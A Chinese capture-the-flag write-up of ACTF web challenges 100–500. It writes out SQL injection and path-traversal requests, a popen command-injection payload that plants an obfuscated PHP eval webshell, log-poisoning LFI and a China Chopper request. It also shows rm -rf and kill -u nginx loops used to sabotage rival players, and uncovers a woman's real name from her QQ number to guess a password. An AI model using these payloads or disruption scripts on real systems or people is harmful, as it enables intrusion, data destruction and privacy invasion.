Ox00 actf
最近参加了浙大的actf，web方面写一些writeup，有点多，分两个部分 web100-300的 还有一个是 web400 和 500writeup~
Ox01 web100 flag 之路

少年，不来一发么。http://218.2.197.236:2005/index.php
那就来一发吧。

查看源码发现注释 way = “H4ck_F0r_Fun!GoGoGo!”
http://218.2.197.236:2005/index.php?way=H4ck_F0r_Fun!GoGoGo!
构造 way 参数去 get 提交。
发现跳转到别的页面，跳到了 322ad17d5b5fb56a810d9a295ffb5a8c.php。
http://218.2.197.236:2005/322ad17d5b5fb56a810d9a295ffb5a8c.php

就是就要验证本地机器。
这里有个技巧，getIp 会通过 host 或者是 X-Forwarded-For 去认证。
我们可以抓包改包在 request header 中加上这些信息，X-Forwarded-For。
或者是用火狐的插件 X-Forwarded-For 增加 request header
然后要求是本机登陆，那么尝试使用 127.0.0.1 或者 localhost，尝试一下。
最后是用 127.0.0.1 可以登陆。

Here is your flag: ACTF{I_love_H4ck_and_I_love_F4ck}

Ox02 web200 讨厌的管理员

FLAG 在 admin 的手里！http://218.2.197.236:2005/web200/index.php

是个登陆框 看到登陆框就去尝试万能密码注入去绕过登陆验证。
‘or 1#绕过登陆验证

一开始做的时候还可以任意登陆的。后来就修复了。

flag is in ae6032eeeb5cedc1555940983435335b.php
看到了这个提示
http://218.2.197.236:2005/web200/ae6032eeeb5cedc1555940983435335b.php
访问这个页面，抓包观察一下。

发现有一个realkeyisin: beda47ac34562108ee149767c61cb0ec.php的response的头。
访问这个页面
http://218.2.197.236:2005/web200/beda47ac34562108ee149767c61cb0ec.php

发现了这个，在这里困了比较久。
一直在寻找 admin 的认证方式。基础认证什么的 ?action=login 什么的都尝试过。
最后才发现是 cookies 的问题。
Cookie: admin=1

flag:ACTF{I_donot_need_sex_life_fxxks_me_everyday}

Ox03 web300 喵喵喵

发现了是一个 blog，说有漏洞，那么我们去找找看。

发现一个 login.php
http://218.2.197.236:2001/login.php

还发现这里有个./bc 目录

进去看看。
http://218.2.197.236:2001/bc/
查看源码发现了一个文件下载的东西。
猜测可以任意下载文件，尝试之后发现可以查看到 php 源码。
http://218.2.197.236:2001/download/doWnlOad.php?uuu=/media/baka.txt

尝试一下
http://218.2.197.236:2001/download/doWnlOad.php?uuu=/etc/passwd
发现了/etc/passwd 在有提示

HINT:x:500:500::/usr/share/ngInx/html:/bin/bash
这个/usr/share/ngInx/html 就是得到的网页根目录，测试一下。
http://218.2.197.236:2001/download/doWnlOad.php?uuu=/usr/share/ngInx/html/login.php
那个特殊的 login.php
部分代码如下

```
01 <?php
02 header("Content-type:text/html; charset=GB2312");
03 $uid=$_GET["gongwan"];
04 if($fd=popen("/heiheihei/bin/online_user -f ".$uid, "r"))
05 {
06 $content=fread($fd, 1024);
07 fclose($fd);
08 }
09
10 $array=explode("\t",$content);
11
12 if($array[3]==0)
13 {
14 exit("I love you.And you?Then hack me please.");
15 }
16
17 if($_SERVER["REMOTE_ADDR"] != $array[3])
18 {
19 exit();
20 }
21 ...
```

关键的一句漏洞语句
$fd=popen("/heiheihei/bin/online_user -f ".$uid, "r")
popen 跟的第一个参数是命令，是会被执行的。
所以会执行/heiheihei/bin/online_user -f .$uid
我们控制$uid 来产生命令执行漏洞。
||绕过之前的/heiheihei/bin/online_user -f
||绕过的原理是 ||是在 shellscript 中是或的意思，前一句命令执行失败后会执行下一句，直到成功为止。
所以/heiheihei/bin/online_user -f 1 失败之后|| 继续执行我们自己的语句 whoami

之类的。
然后再在后面加上我们自己的语句使用重定向到网站目录下来查看回显，或者是重定向到/tmp/目录下，然后使用之前的查看 php 源码的漏洞来查看任意文件。

http://218.2.197.236:2001/login.php?gongwan=1||ls /usr/share/nginx/html/>/usr/share/nginx/html/appelu0.txt

这个命令查看一下网站根目录的内容，发现了有奇怪的东西。
/usr/share/nginx/html/dbiNf0.php

可以使用 cat 的命令来看一下页面内容，或者是使用之前的查看源码的漏洞来查看。
http://218.2.197.236:2001/download/doWnlOad.php?uuu=/usr/share/nginx/html/dbiNf0.php

在 mysql 的 password 里就有了 flag：
ACTF{300deeaSyFlAGmemeDa}

Ox00 actf
这个是 actf 的 web400 500 的 writeup 100-300 的在之前的的一篇文章。
web 100~300 的 writeup
Ox01 web400 看我如何拿下一血

web300 没做出来的话这题做出来的希望不大：
前提说是要先做出 web300。我们之前就做出 web300。web300 最后的结果是能拿到一个 nginx 的 webshell 的权限。我们 ls 那个 html 目录就能看到 dbiNf0.php 这个。web300 的 flag 在里面。

然后再去各种翻目录，会发现一个 NOTE。笔记的意思，是个目录进去看看里面有个 note 文件。

保存成 utf-8 的编码就能看到内容。

==========

今天加上了心仪的妹子的 qq，实在太开心了！
2018.3.22

aay 给了我旁边机器的一个低权限用户。我实在不擅长 linux 啊，但是他的一个页面好像有漏洞，好像是 hejUbiAn.php。
2018.3.23

我用这个漏洞给数据库里写了些数据，正好把我传上去的一句话木马地址藏进去，嘿嘿嘿。
2018.3.25

在那个数据库里记一下那个一句话木马的密码吧，免得忘了，不过直接存密码不太安全呀~那我只存那个妹子的 qq，密码是这妹子名字的小写拼音，这样我这个日记泄露了也不会有人能登陆，嘿嘿嘿。
2018.3.26

旁边机器的管理员 aay 总是不给我 root 权限，也从不请我们吃饭，早看他不顺眼了。我给他服务器做了个 alias 关联来欺骗他的 root 密码，大概不用几天就能成功了吧。
2018.4.1
==========

我们按照他说的笔记，先找到 web400 的入口 hejUbiAn.php
也就是这个文件，就是他说的有注入的文件。
http://218.2.197.236:2003/hejUbiAn.php
我们来细心研究一下这个页面，

一开始还因为是来卖萌的类似于 orz 什么的东西。
后来看到了=号结束的 直觉判断是 base64，因为 base64 的尾部填充用的是=号，只是用来补足位数的。 解一下，base(gw)是 gongwan，贡丸的缩写。而且不用填写用户名看来 gw 就是默认的用户了。
那么根据这个格式，明文要去 base64 编码提交，猜测那个密码也是要这样子。
note 上说有注入的，那么登陆框的 sql 注入，绕过验证去登陆。
构造一个’ or 1=1#
‘闭合之前的字符串’ 然后是 or 上一个永真的，最后在注释掉末尾，拿去 base64 编码。
JyBvciAxPTEj

得到了 note 里说的一句话地址还有 qq 号。Fuckingluyuhao.php 906239288
好开心，拿到了 qq 就要去找这个妹子的名字，看一下是八尾，加了妹子也没有反应。
那么我们就去查询一下群的资料。
https://qun.insight-labs.org/

王碧云是这个妹子的名字。小马密码是小写拼音 wangbiyun。

菜刀配置一下，连接上去，因为之前做过 web300 ip 是一样的，只是出口不一样，

所以可能要清空一下缓存，才能连上去。

然后就是按着 note 说的去找 alias 欺骗的东西。到处翻东西，在/tmp 目录下有个奇怪的东西:
.aliasexp 还是个隐藏文件。是个 elf 文件拿去逆向一下看看，其实也不大，关键字多试试。

/var/tmp/.pwds 就是欺骗到的账号密码，打开一看，发现就是 flag。
ro0T:F1aG:{YaNg_zi_j1angDa1skdaiyouKukuku}
C0ngratUlatIons!!!!!

Ox02 各种坏招~
不过这个题的难度越来越难，因为有人在这个目录下面有加了个假的 flag。坏笑，你们这是要闹哪样~

web400 没有什么特别好的方法来欺骗后来的做题人，shell 什么的并没有特别办法阻止，权限就摆在那里。修改无果。

误导别人的同学，你给个 f14g.txt 也是提示哇，原来还没这么明显，这就给他们指明了方向，试一次错了，肯定会看看这个目录下面的东西的。所以搞个 aliase_flag 的名字什么的，然后把 flag 放在别的地方，误导后来人~

Ox03 看我在如何在 kill 和 rm 中夺取 flag
一觉醒来 10 点，就看到 web500 都有人做出来了，那我们就看看题，慢慢做。

某内网换了个架构(原架构是 nginx)又搭了一遍 web300 的站。题目是这样子的，说是和之前的 web 题关系比较大，那我们看看那些说明和 web300 的关系比较大，那么我们接着从 web300 做下去。
web300 是能拿到一个 webshell 的权限的，我们去尝试一下，卧槽怎么写 shell 写不上去，这有点奇怪，和昨天的不一样哇。
这个是我写的一个 webshell 一句话，密码是 a
http://218.2.197.236:2001/login.php?gongwan=1||echo%20%22%3C?php%20@eval%28chr%28101%29.chr%28118%29.chr%2897%29.chr%28108%29.chr%2840%29.chr%2836%29.chr%2895%29.chr%2880%29.chr%2879%29.chr%2883%29.chr%2884%29.chr%2891%29.chr%2839%29.chr%2897%29.chr%2839%29.chr%2893%29.chr%2841%29.chr%2859%29%29?%3E%22%20%3E/usr/share/ngInx/html/appleu0.php

写到了 appleu0.php 这里，卧槽怎么和昨天的不一样，写不上了，访问 404，权限的问题？
然后后来才在群里发现有人说有之前做出来的选手，用脚本在删除 webshell。
只能去反弹 shell 了吗，vps 到期了哇 大哭。后来甚至连反弹 shell 都不行了，有人在 kill 进程，只要是 nginx 用户的都会被杀掉。
在这里纠结了很久，后来官方也给出了公告。

多思考，你和阻挠你获得 shell 的黑客的权限其实一直都是相等的。
这里给了我启发，他能删，我能写，凭什么我的会掉呢，只有一个原因，我的写的速度比删除的速度慢。所以才会导致这个结果。
那么我们可以尝试写一个 shellscript 来一直写马进去。就能保证 webshell 比较稳定。

```
1 #!/bin/sh
2 while true
3 do
    curl 'http://218.2.197.236:2001/login.php?gongwan=1||echo%20%22%3C?php%20@eval%28chr%28101%29.chr%28118%29.chr%2897%29.chr%28108%29.chr%2840%29.chr%2836%29.chr%2895%29.chr%2880%29.chr%2879%29.chr%2883%29.chr%2884%29.chr%2891%29.chr%2839%29.chr%2897%29.chr%2839%29.chr%2893%29.chr%2841%29.chr%2859%29%29?%3E%22%20%3E/usr/share/nginx/html/appleu0.php'
5 done
```

就是一个死循环，不断的 get 访问写入 appleu0.php。
shell 终于稳定下来了，密码是 a。

菜刀连接上去，说是有内网，ifconfig 一下查看一下内网的 ip。

执行了之后没效果，是因为不是用 root 用户去执行的。
我们可以使用 whereis 的命令

```
1 whereis ifconfig
```

```
1 cd /sbin
```

2./ifconfig

然后就能看到内网的 ip 了。
ip:172.17.1.2
题目的说明是有一台内网的服务器，先要找到这个服务器。
使用 nmap 扫描一下内网的 ip，可以有两种方式 CIDR 或者是使用*通配符都可以的。

1 nmap -sn 172.17.1.0/24

2 nmap -sn 172.17.1.*

发现了 3 台机器，172.17.1.1 写着 gw 是网关。
那么 172.17.1.3 就是我们的目标了。有 web 服务，在内网的状态，可以直接操作外网的 shell 这样子间接去访问，也可以尝试把他转发出来。我转发没尝试成功，可能是转发的工具有问题，wget 到服务器上执行报错了。
我是常用的 curl 去做的交互，比较麻烦。
在 sehll 里执行命令 curl “172.17.1.3/”
有 web300 的基础上到处去看看，看哪些漏洞还在，哪些以及补上了，或者是有什么新的漏洞。

1 curl "172.17.1.3/download/doWnl0ad.php?uuu=/etc/passwd"

发现这个漏洞还在的。最下面一行依旧是有提示。

boss:x:500:500::/var/www/boss:/bin/bash
找到了题目中说的 boss。然后就是去尝试之前的代码执行漏洞，发现没有那么简单了，找不到 login.php。 在这里兜了好久，傻逼了很久，后来按照 web300 的思路去找到网页的根目录的路径。

1 curl "172.17.1.3/bc/"

看到了这个

根目录 /var/www/html/baka.txt
目录结构上有写类似，web300 的 NOTE 目录变成了 boss 目录。其他的都没什么变化。

然后就是各种测试了，没有列目录的办法，只能慢慢是 boss 目录下的文件。是个默认的文件 index.php。

```
1 curl "172.17.1.3/download/doWnl0ad.php?uuu=/var/www/boss/index.php"
```

编码拿下来改成 utf-8 的编码 浏览器上可以看到内容。

fuckti0n.php 也就是 boss 说的有漏洞的代码。

```
1 curl
"172.17.1.3/download/doWnl0ad.php?uuu=/var/www/html/fuckti0n.php"
```

有个文件包含漏洞，page 参数。LFI 漏洞，先去确定是不是 RFI 漏洞，如果是远程文件包含，那么就很简单了，远程弄个 webshell 去 include。
尝试发现 allow_url_include 和 allow_fopen_include 没有 on，没法用 http 协议直接去包含利用。那么我们尝试别 的，LFI 还有一些特殊的伪协议可以去测试的，百度一下就有一些介绍，data 明文数据 还有 php://input post 数据等等，都去尝试一下。
发现还是没什么用，很纠结，environ 权限也不够。没法通过修改 user-agent 的方法获取 shell。
最后在没有上传的情况下，我们只能去尝试去包含 log 日志文件。
我们先去搞个 LFI 字典去爆破一下，题目给出的是个比较常见的路径。
/var/log/httpd/access_log

```
1 curl "172.17.1.3/fuckti0n.php?page=/var/log/httpd/access_log"
```

这个就是他说的 10 分钟恢复一次的文件了，拿到路径后，我们就要去尝试执行命令了。
在什么都不知道的情况下，我们可以使用 find / 去看看各个目录，来找找 flag 之类的东西。
chr(102).chr(105).chr(110).chr(100).chr(32).chr(47).chr(32).chr(45).chr(110).chr(97).chr(109).chr(101).chr(32).chr(39).chr(98).chr(111).chr(115).chr(115).chr(39) 是 find / -name ‘boss’的 10 进制编码，这样子编码是为了绕过’才 curl 中的问题，而不直接使用’。

```
curl "172.17.1.3/appleu0<!--?php
1system(chr(102).chr(105).chr(110).chr(100).chr(32).chr(47).chr(32).c
hr(45).chr(110).chr(97).chr(109).chr(101).chr(32).chr(39).chr(98).ch
r(111).chr(115).chr(115).chr(39));?-->"
```

```
2 curl "172.17.1.3/fuckti0n.php?page=/var/log/httpd/access_log"
```

然后尝试去

```
1 ls -ls /var/www/boss
```

chr(108).chr(115).chr(32).chr(45).chr(108).chr(115).chr(32).chr(47).chr(118).chr(97).chr(114).chr(47).chr(119).chr(119).chr(119).chr(47).chr(98).chr(111).chr(115).chr(115)
相同的方法去做

找到了相关的，在 boss 目录下面有个文件，名字叫 You_got_me_BAd_Guys
那么我们可以通过之前的查看源码的漏洞去查看那个文件的内容。

```
  curl
1 172.17.1.3/download/doWnl0ad.php?uuu=/var/www/boss/You_got_me_BAd_G
  uys
```

CX_shi_Wo_xin_zhong_Zui_Mei_de_nv_shen
就是 flag 了。

Ox04 各种坏招~
一开始被人不断的 rm 还有 kill 感觉很不爽，必须也让将来的做题人爽爽。
自己也去写个脚本来不断的 kill 吧~
rm -rf *.php 是不会删除 linux 下的隐藏文件的，所以有人使用.abc.php 来绕过 rm
我们可以写个脚本来删除别人的 shell，但是我们还想保留我们自己的 shell 来接着做题或者做一些干扰，这时我们可以
ls | grep -v “appleu0.php” | xargs -I {} rm -f {}’
只保留 appleu0.php 然后删除其他所有文件。
kill -u nginx 是删除用户为 nginx 所有的进程，也就是把他们反弹的 shell 都 kill。
没法反弹 shell，这个突破我没想到什么好方法，后来官方也把 kill 被 ban 了。

```
1 #!/bin/sh
2 while true
3 do
4     curl 'http://218.2.197.236:2001/login.php?gongwan=1'||rm -rf
  *.php'
5     curl 'http://218.2.197.236:2001/login.php?gongwan=1'||rm -rf .*'
```

```
6     curl 'http://218.2.197.236:2001/login.php?gongwan=1||ls | grep -v "appleu0.php" | xargs -I {} rm -f {}'
7     curl 'http://218.2.197.236:2001/login.php?gongwan=1||kill -u nginx'
8 done
```

这只是给 web500 的入手提高了一些难度，如果还想接着干扰 web500 可以想办法从 access_log 入手，猥琐他们。
本来是想写个 php 的脚本，在外网机子上运行。脚本都写好了，大概就是要一直去删除 access_log 没试过权限，这只是一个想法。

```
1 <?php while(TRUE){system('rm -rf   /var/log/httpd/access_log ');}?>
```

后来也没成功，没法写上去猥琐他们。
后来想到了另外的方法，在 LFI 的时候，然后第一次是包含然后出错了，可以组织之后的包含。
比如这里 find a 是会报错的

```
1 curl "172.17.1.3/appleu0<!--?php system(find a);?-->"
2 curl "172.17.1.3/fuckti0n.php?page=/var/log/httpd/access_log"
```

然后之后提交的 php 代码就没法被解析了。
只要我们一直重复这个包就可以干扰选手做题了，为了重发这个包，还去研究了菜刀的底层的发包原理。

```
1 POST /appleu0.php HTTP/1.1
2 Referer: http://218.2.197.236
3 Content-Type: application/x-www-form-urlencoded
4 User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0
5 Host: 218.2.197.236:2001
6 Content-Length: 597
7 Cache-Control: no-cache
8
a=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOOBzZXRfdGltZV9saW1pdCgwKTtAc2VOX21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIiO%2BfCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkRSJdKTskYz1zdWJzdHIoJGQsMCwxKTO9Ii8iPyItYyAneyRzfSciOiIvYyB7JHN9IjskcjOieyRwfSB7JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIpOztlY2hvKCJ8PCOiKTtkaWUoKTs%3D&z1=L2Jpbi9zaA%3D%3D&z2=Y2QgIi91c3Ivc2hhcmUvbmdJbngvaHRtbC8iO2N1cmwgIjE3Mi4xNy4xLjMvZnVjdGkwbjw%2FcGhwIHN5c3R
```

lbShmaW5kIGEpOz8%2BIjtlY2hvIFtTXTtwd2Q7ZWNobyBbRV0%3D

是一段 base64 加密过的代码，开头的@是 php 中的容错。然后一直重发就可以了，就可以干扰到对手了。
不过因为这个题目是写上去就会固定 10 分钟的，所以可能一个人做出来，10 分钟之类也在做的人能 include 到 log 的话就也会看到答案啊，tips 啊 什么的。很多人都是这样子靠运气的，一个人做出来，同时就有几个人看到 flag 什么的，不太好。不过感觉这个比赛还是充满了乐趣的，学习到了很多 web 的 猥琐的技巧，涨姿势了，主办方也不会去阻止选手间的对抗，赞一个，玩得很欢乐。